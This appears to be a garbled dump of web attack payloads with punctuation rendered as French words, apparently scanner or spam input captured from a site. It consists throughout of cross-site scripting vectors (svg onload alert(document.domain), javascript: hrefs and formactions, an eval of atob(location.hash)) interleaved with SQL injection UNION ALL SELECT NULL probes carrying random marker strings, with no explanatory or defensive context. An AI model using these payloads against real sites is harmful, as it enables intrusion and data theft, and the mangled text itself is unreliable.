et ltx contenteditable onkeydown égal alert1et gtpress any key letoile briveunion all select null-- yacy letoile brive union all select 161616concatconcatqqqvqxzvqwtdksnqkxxq161616161616-- jkzu et ltembed src égal javascriptalert1et gt et ltisindex formaction égal javascriptalert1type égal submit value égal click et gt -9907 union all select 16concatconcatqqqvqljybvvaftpqkxxq1616161616161616-- lwye et ltsvg xmlns égalhttp//wwww3org/2000/svgonload égalalertdocumentdomain/ et gt -6542 union all select nullnullnullnullconcatconcatqqqvqqfxhnnikbcqkxxqnullnullnullnullnull-- cidy et ltx 1 égalet gtonxxx égal 1 et lta href égal javascriptalert1et gtclick et ltx onmousemove égal alert1et gthover this letoile briveunion all select null-- dbrx letoile briveunion all select nullnullnull-- auui et ltform et gtet ltinput formaction égal javascriptalert1type égal submit value égal click et gt et ltbody onscroll égal alert1et gtet ltbr et gtet ltbr et gtet ltbr et gtet ltbr et gt et ltscript et gtalertxsset lt/script et gt letoile brive union all select null-- iqts et ltscript/src égaldataet ampcommaevalatoblocationhashslice1// dièse alert1 et lthttp//onxxx égal 1/ letoile briveunion all select nullnullnullnullnullnullnullnullnull-- mmit